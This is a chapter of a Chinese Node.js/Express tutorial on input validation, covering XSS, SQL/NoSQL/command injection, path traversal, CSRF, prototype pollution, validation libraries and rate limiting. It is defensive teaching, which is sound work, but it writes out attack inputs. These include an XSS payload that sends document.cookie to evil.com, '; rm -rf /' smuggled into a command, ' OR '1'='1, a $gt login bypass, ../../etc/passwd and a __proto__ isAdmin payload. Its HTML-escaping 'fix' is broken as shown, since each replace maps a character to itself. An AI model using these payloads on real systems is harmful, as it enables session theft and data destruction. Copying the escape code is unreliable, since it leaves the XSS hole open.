输入校验与攻击防护
本教程共 76 篇 · 第 58 篇 · 更新于 2026-07-25 · 约 8 分钟阅读
58. 输入校验与攻击防护
本节目标:- XSS、SQL 注入、命令注入分别怎么发生、怎么防 - 为什么「永远不要拼接用户输入」 - 用
express-validator和zod做输入校验 - CSRF 的现代防护思路(以及csurf已经弃用) - 速率限制挡住爆破和刷接口
前面几章讲的是「怎么认出用户、怎么守住大门」。但安全圈有句话:你信的一切外部数据,都是敌人递过来的刀。表单里填的、URL 参数里的、请求体中的、甚至请求头带过来的——只要不是你代码里写死的,都可能是攻击载荷。
这一章挑几个最高频的攻击面讲:XSS、SQL 注入、命令注入、CSRF、原型污染,以及怎么用校验库把第一道防线筑起来。
铁律:永远不要信任用户输入
所有防护的核心就一句:任何来自外部的数据,在用之前先校验、再转义、绝不拼接进命令或查询。下面每种攻击,本质上都是你「太信任」了输入。
XSS:把脚本塞进你的页面
XSS(跨站脚本,Cross-Site Scripting)是让别人的浏览器执行攻击者注入的脚本。比如你的接口把用户昵称原样插进 HTML:
// 漏洞代码:直接把用户输入拼进 HTML
app.get('/welcome', (req, res) => {
const name = req.query.name || '朋友';
res.send(`<h1>欢迎, ${name}</h1>`);
});
攻击者访问 /welcome?name=<script>fetch('https://evil.com?c='+document.cookie)</script>,如果页面把 Cookie 设成了可读(没开 httpOnly),用户的会话就被偷走了。
防护有三层:
- 输出编码:把
<>&"'转成 HTML 实体再输出。 - CSP:上一章讲的
helmet,即使有脚本注入进来,浏览器也不执行非白名单来源。 - 输入校验:昵称就只允许字母数字和少量符号,从根本上卡掉
<script>。
// 修复:先校验,再输出时编码
import express from 'express';
import helmet from 'helmet';
app.use(helmet()); // 含默认 CSP,兜底防注入脚本执行
app.get('/welcome', (req, res) => {
const name = String(req.query.name || '朋友')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
res.send(`<h1>欢迎, ${name}</h1>`);
});
Tip如果你用的是模板引擎(第 41 章的 EJS 等),默认大多会自动转义,但有些语法(
-而非=)会关掉转义,务必确认。别因为「框架帮我转义了」就放松输入校验——多层防御才稳。
SQL 注入:别拼接查询
SQL 注入是老牌经典。把用户输入直接拼进 SQL 字符串,攻击者就能改写你的查询逻辑:
// 漏洞代码
const name = req.query.name;
db.query(`SELECT * FROM users WHERE name = '${name}'`);
// 攻击者传 name = ' OR '1'='1 → 变成 SELECT * FROM users WHERE name = '' OR '1'='1'
// 结果:把整张表都查出来了
修复只有一条路:参数化查询(prepared statement),让用户输入永远作为「数据」而不是「SQL 代码」去执行。用 mysql2 的占位符:
// 安全:占位符,用户输入不会被当成 SQL 执行
const [rows] = await pool.query(
'SELECT * FROM users WHERE name = ?',
[req.query.name]
);
PostgreSQL 的 pg 同理用 $1、$2 占位。MongoDB 用户注意用官方驱动的参数化查询 API,别自己拼 BSON 查询字符串。第 49、51 章会细讲各数据库的防注入写法。
命令注入:回到第 33 章的坑
还记得 child_process 那章说的吗?exec('grep ' + userInput) 这种写法,用户输入里带个 ; rm -rf / 就能执行任意命令。调用系统命令一律用 spawn 的数组参数或 execFile:
// 安全:参数拆成数组,不走 shell 解释
import { spawn } from 'node:child_process';
spawn('grep', [userInput, 'file.txt']);
NoSQL 注入与路径穿越
不止 SQL 会被注入。MongoDB 这类 NoSQL 如果把用户输入直接塞进查询对象,攻击者在 JSON 里传个 { "$gt": "" } 就能让「不等于空」的条件恒成立,绕过登录校验:
// 危险:把前端 JSON 原样当查询条件
const user = await db.users.findOne({ username: req.body.username, password: req.body.password });
// 攻击者传 { "username": { "$gt": "" }, "password": { "$gt": "" } }
// 条件恒成立,直接登录成功
修复同样靠「不让用户输入当结构、只当值」——用固定字段名,把用户输入只作为值传进去,并对字段类型做校验(比如用户名必须是字符串)。第 51 章会结合 Mongoose 细讲。
还有一类叫路径穿越(path traversal):你的接口用用户传的 ?file=report.txt 去读文件,攻击者传 ?file=../../etc/passwd 就能读到系统文件。防御是用 path.normalize 解析后,严格检查最终路径是否还在允许的目录下:
import path from 'node:path';
import fs from 'node:fs';
app.get('/files', (req, res) => {
const base = '/var/www/uploads/';
const target = path.normalize(base + req.query.file);
if (!target.startsWith(base)) {
return res.status(400).send('非法路径');
}
res.send(fs.readFileSync(target));
});
CSRF:借你的身份发请求
CSRF(跨站请求伪造,Cross-Site Request Forgery)的原理是:你登录了银行,另一个恶意网页偷偷发一个「转账」请求,浏览器会自动带上你的 Cookie,银行一看 Cookie 合法就执行了。
两个防御要点:
sameSiteCookie:上一章讲过,把敏感 Cookie 设成sameSite: 'lax'或'strict',跨站请求就不会带上它,CSRF 基本失效。这是现代最省事的防线。- CSRF Token:对还要兼容老浏览器的场景,服务端给每个表单发一个一次性随机 token,提交时校验;攻击者跨站发请求拿不到这个 token。
Warning很多老教程让你装
csurf做 CSRF 防护,但csurf早已停止维护。新项目要么靠sameSiteCookie + 前后端分离(JSON API 不自动带 Cookie 天然抗 CSRF),要么用社区维护的替代库如csrf-csrf。别再npm install csurf了。
输入校验库:把第一道门关严
与其在每个 handler 里手写正则,不如用成熟的校验库。两个主流选择:
express-validator:链式、和 Express 中间件贴合:
npm install express-validator
import { body, validationResult } from 'express-validator';
const registerRules = [
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 8 }).withMessage('密码至少 8 位'),
body('age').optional().isInt({ min: 0, max: 150 }),
];
app.post('/register', registerRules, (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// 到这里,req.body 里的字段已经过校验,可以放心用
res.json({ ok: true });
});
zod:用 schema 描述数据结构,前后端都能复用,TypeScript 友好:
npm install zod
import { z } from 'zod';
const LoginSchema = z.object({
email: z.string().email(),
password: z.string().min(8),
});
app.post('/login', (req, res) => {
const parsed = LoginSchema.safeParse(req.body);
if (!parsed.success) {
return res.status(400).json({ errors: parsed.error.issues });
}
// parsed.data 是校验通过、类型明确的对象
res.json({ ok: true });
});
Tip校验要放在「边界」上:所有外部输入刚进来的地方就校验,而不是用到的时候才想起来。校验不过直接 400 打回去,别让脏数据流进业务逻辑。
原型污染:JavaScript 特有的暗箭
如果你用 Object.assign 或深合并,把用户传来的 JSON 直接合并进一个共享配置对象,攻击者可以塞进 __proto__ 字段,污染所有对象的原型:
// 危险:用户 JSON 里有 {"__proto__": {"isAdmin": true}}
const config = Object.assign({}, baseConfig, JSON.parse(userInput));
// 之后所有普通对象都可能带上 isAdmin: true
防护:
- 用
Object.create(null)创建「没有原型」的纯净对象来存配置。 - 用
Object.hasOwn(obj, key)判断属性是不是对象自己的,而不是来自原型链。 - 起点就别把未校验的 JSON 直接深合并进共享对象——回到上一条「先校验」。
- 必要时用
--disable-proto启动参数禁用__proto__(第 59 章会提)。
速率限制:挡住爆破和刷量
就算前面都防住了,攻击者还能靠「海量请求」爆破密码或拖垮你的服务。用 express-rate-limit 按 IP 限流:
npm install express-rate-limit
import rateLimit from 'express-rate-limit';
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 分钟
max: 10, // 同 IP 最多 10 次
standardHeaders: true,
message: { error: '尝试太频繁,请 15 分钟后再试' },
});
app.post('/login', loginLimiter, (req, res) => {
// 登录逻辑
});
Note限流要区分场景:登录接口严一点,公开读取接口可以松一点。放在反向代理(Nginx)层做全局限流也很常见,能挡在 Node 进程之前。
把这些点串起来——输出编码 + CSP 防 XSS、参数化查询防注入、sameSite + token 防 CSRF、校验库卡住脏数据、速率限制防爆破——你的应用才算真正有了「输入防线」。但安全防护不只写代码这一层,下一章聊依赖、权限、运行环境这些更全局的实践。